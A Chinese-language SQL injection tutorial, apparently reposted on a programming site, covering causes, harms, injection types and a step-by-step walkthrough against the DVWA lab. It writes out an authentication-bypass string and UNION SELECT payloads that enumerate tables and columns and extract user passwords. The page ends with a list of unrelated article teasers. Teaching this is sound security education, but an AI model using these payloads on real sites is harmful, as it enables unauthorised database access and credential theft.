03. SQL注入漏洞基础

news2025/1/16 17:06:56

03. SQL注入漏洞基础

SQL注入漏洞基础(上)

/01 SQL注入的原理

SQL注入原理
SQL注入产生的原因

当Web应用向后台数据库传递SQL语句进行数据库操作时。如果对用户输入的参数没有经过严格的过滤处理,那么攻击者就可以构造特殊的SQL语句,直接输入数据库引擎,获取或修改数据库中的数据。

在这里插入图片描述

SQL注入的本质

把用户输入的数据当作代码来执行,违背了“数据与代码分离”的原则

SQL注入的两个关键点
  1. 用户能够控制输入的内容;
  2. Web应用把用户输入的内容带入到数据库中执行

在这里插入图片描述

/02 SQL注入的危害

SQL注入的危害
  • 盗取网站的敏感信息

  • 绕过网站后台认证

    后台登录语句:

    SELECT * FEOM admin WHERE username = 'user' and password = 'pass'
    

    万能密码:’ or ‘1’ = ‘1’ #

  • 借助SQL注入漏洞提权获取系统权限

  • 读取文件信息

/03 SQL注入的分类

SQL注入的分类

根据注入位置分类:GET型、POST型、Head头注入

根据反馈结果分类:有回显(显错注入)、无回显(盲注)

根据数据类型分类**(我们更加关注)**:

​ 数字型:输入的参数为整型,入id、年龄、页码等

​ 字符型:输入的参数为字符串

数字型与字符型最大的区别在于:数字型不需要单引号闭合,而字符串型一般需要单引号闭合

/04 SQL注入的流程

SQL注入的流程
1、寻找注入点

在这里插入图片描述

2、判断闭合方式

?id=1asdfa

有报错:数字型,无闭合或 )闭合

无报错:字符型,再判断闭合方式,’ “ ‘)“)

在这里插入图片描述

SQL注入漏洞基础(下)

2、判断闭合方式(续)

?id=1asdfa’

查看报错信息,这里的闭合方式为’

在这里插入图片描述

3、验证漏洞

?id=1’ or 1=1 # 正常显示

在这里插入图片描述

4、判断列数及回显位

?id=1’ ) order by 4 #

?id=1’ ) order by 3 #

说明列数为2列

在这里插入图片描述

在这里插入图片描述

?id=-1’ ) union select 1, 2#

说明回显位为1,2

在这里插入图片描述

联合查询下,两个select一定要相同字段数量

sql注入流程:

  1. 查询数据库类型:通过错误显示,已经知道是mysql

  2. 查询当前系统所使用的数据库名称是什么:dvwa

    在这里插入图片描述

    select * from 表名 where id = '1' union select 1, database()#
    
  3. 查询当前数据库的表有什么内容:

    information_schema查询表名

    0' union select 1, table_name from information_schema.tables where table_schema = 'dvwa
    
  4. 查询指定表的字段信息:

    information_schema查询字段信息

    0' union select 1, group_concat(column_name) from information_schema.columns where table_name = 'users
    
  5. 查询想要的信息内容:

    0' union select user, password  from users#
    

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/93836.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

泓德基金:以超融合构建生产及灾备环境,承载 O32 等关键业务系统

案例亮点 承载 O32、TA、估值等基金行业关键业务系统生产与灾备环境。 POC 期间对超融合应用承载能力以及数据库支撑能力分别进行验证,性能与稳定性均满足需求。 超融合首先作为灾备资源池部署,稳定运行一年后,转为生产资源池,并…

高企认定没专利?专利评分低?如何评分?

众所周知,高企申报是一场“持久战”,申报知识产权、归集研发费用、科技成果转化等工作都需要一定的准备时间。其中,知识产权的获取所需要的时间是最长的(两年左右),对高新认定评分的影响也是最大的。因此,知识产权的研…

来聊一聊 ElasticSearch 最新版的 Java 客户端

可能不少小伙伴都注意到了,从 ElasticSearch7.17 这个版本开始,原先的 Java 高级客户端 Java High Level REST Client 废弃了,不支持了。老实说,ElasticSearch 算是我用过的所有 Java 工具中,更新最为激进的一个了&…

Unity中的Mask组件增加DrawCall的原因

Unity中的Mask组件增加DrawCall的原因 简介 常说mask组件不要常用,因为会增加drawcall,增加性能消耗;当然作为一个需要背八股文的同学而言,仅仅知道会增加性能消耗是不够的,所以这里简单看下其原理。 首先看下在Uni…

监控系列(三)自定义DM采集项(exporter)+主机监控+grafana展示

一、概括 本篇不涉及达梦数据库搭建,操作环境需提前准备prometheus以及grafana的搭建,请跳转到前文查看 监控系列(一)DM8PrometheusGrafana搭建 监控系列(二)Dem对接Prometheusgrafana显示 自定义的采集…

基于数字孪生技术的智慧变电站Web3D可视化系统

今天为大家分享一个采用 数维图 的 Sovit3D 构建轻量化 3D 可视化场景的案例——数字孪生智慧变电站三维可视化系统。多维度呈现变电站场景,实现变电站运行态势的实时监测,运维设备、控制系统和信息系统的互联互通。加强变电站设备的全状态感知力与控制力…

03-MySQL查询数据

目录 DQL语言 单表查询 AS子句 DISTINCT关键字的使用 WHERE条件语句 逻辑操作符 比较操作符 BETWEEN范围查询 LIKE模糊查询 使用IN进行范围查询 NULL空值条件查询 连接查询(多表查询) INNER JOIN内连接 等值和非等值的连接查询 外连接 JOIN对比…

49.Python的while循环

49.Python的while循环 文章目录49.Python的while循环1. 什么是循环2. 什么是while循环3.课题导入4.while循环语法5.while循环执行流程6. if和while的区别7.课堂练习1. 什么是循环 【循环的百度释义】 特指运行一周而回到原处,再转。 反复地连续地做某事。 【循环…

新征程-猿如意试用一波!

猿如意传送门(必带) 猿如意下载地址:猿如意-程序员的如意兵器,工具代码,一搜就有 猿如意使用了几次了,今天来想分享一下我对于猿如意的使用感受吧!! 先说结论:值得每个程序员都在电脑里安装一…

MySQL的基础架构简述

文章目录一、一条SQL查询语句是如何执行的1、连接器2、查询缓存3、分析器4、优化器5、执行器一、一条SQL查询语句是如何执行的 开篇先上基本架构示意图🤗: 大体来说,MySQL可以分为 Server 层和存储引擎两部分。 Server 层包括连接…

大一作业HTML网页作业 HTML校园篮球网页作业(12个页面)

🎉精彩专栏推荐 💭文末获取联系 ✍️ 作者简介: 一个热爱把逻辑思维转变为代码的技术博主 💂 作者主页: 【主页——🚀获取更多优质源码】 🎓 web前端期末大作业: 【📚毕设项目精品实战案例 (10…

前沿系列--简述Diffusion Model 扩散模型(无代码版本)

文章目录前言why扩散简述how如何扩散逆向过程小结流程训练过程预测过程总结前言 OK,今天的话,我们来搞一下这个扩散模型,来对这个玩意进行一个简单的了解,因为这个也是目前还算比较前沿的东西,也挺有用的,…

CSAPP-Lab2 BombLab解析

文章目录ReferencePhase1Phase2Phase3Phase4Phase5Phase6Part1Part2Part3Part4Part5Part6SecretBombSummaryReference GDB Command Reference - disassemble command:怎么使用GDB进行反汇编调试GDB X CommandGDB and Debugging:GDB上手教程和如何进行de…

大一作业HTML网页作业 HTML CSS制作二十四节气网页

🎉精彩专栏推荐 💭文末获取联系 ✍️ 作者简介: 一个热爱把逻辑思维转变为代码的技术博主 💂 作者主页: 【主页——🚀获取更多优质源码】 🎓 web前端期末大作业: 【📚毕设项目精品实战案例 (10…

背包问题:蛇优化算法(Snake Optimizer,SO)求解背包问题(Knapsack Problem,KP)提供Matlab代码

一、背包问题 1.1背包问题描述 背包问题(Knapsack Problem,KP)是一种重要的组合优化问题,在生活的许多领域都有着十分广泛的应用。背包问题可以描述为:给定一个背包和n种物品,其中,背包的容量为VVV ,第i …

Linux tar报错 无法 stat: 没有那个文件或目录 tar: 由于前次错误,将以上次的错误状态退出

解决方法 解决方式:-czf 的f必须在最后,因为f标识指定压缩后的文件名,f后面紧跟着的字符串就是你所指定的压缩后的文件名,所以f必须在后面 我记忆的方法:czf 吃早饭 举例:压缩多个文件、目录,压缩后得到的文…

Go语言GOPATH是什么

一、GOPATH的概念 GOPATH 是 Go 语言中使用的一个环境变量,它使用绝对路径提供项目的工作目录(也称为工作区), 是存放 Golang 项目代码的文件路径, GOPATH 适合处理大量 Go语言源码、多个包组合而成的复杂工程。 工作目录是一个工程开发的相对…

【机器学习】特征独立性检验-特征太多删特征-删who呢

总结 MvTest独立性分析方法——检验数值型特征与label是否有关系,删除与label无关(独立)的特征;corr协方差函数 相关性分析——找到数值型特征与数值型特征之间相关性高的数值型特征,然后删除(相关性高的数…

Xcode 导入共享代码文件却提示找不到其中方法或类型的原因与解决

文章目录 问题现象问题分析1. 原景重现2. 为什么找不到共享代码文件中的方法?3. 解决之道总结结束语问题现象 正所谓“一个好汉三个帮,一块篱笆三个桩”,开发一款优秀的 App 也绝对少不了第三方高质量代码的加持。 但有时候,我们明明已在 Xcode 中导入了第三方共享代码文…

微服务框架 SpringCloud微服务架构 多级缓存 46 JVM 进程缓存 46.3 初识Caffeine

微服务框架 【SpringCloudRabbitMQDockerRedis搜索分布式,系统详解springcloud微服务技术栈课程|黑马程序员Java微服务】 多级缓存 文章目录微服务框架多级缓存46 JVM 进程缓存46.3 初识Caffeine46.3.1 本地进程缓存46.3.2 Caffeine 示例46 JVM 进程缓存 46.3 初…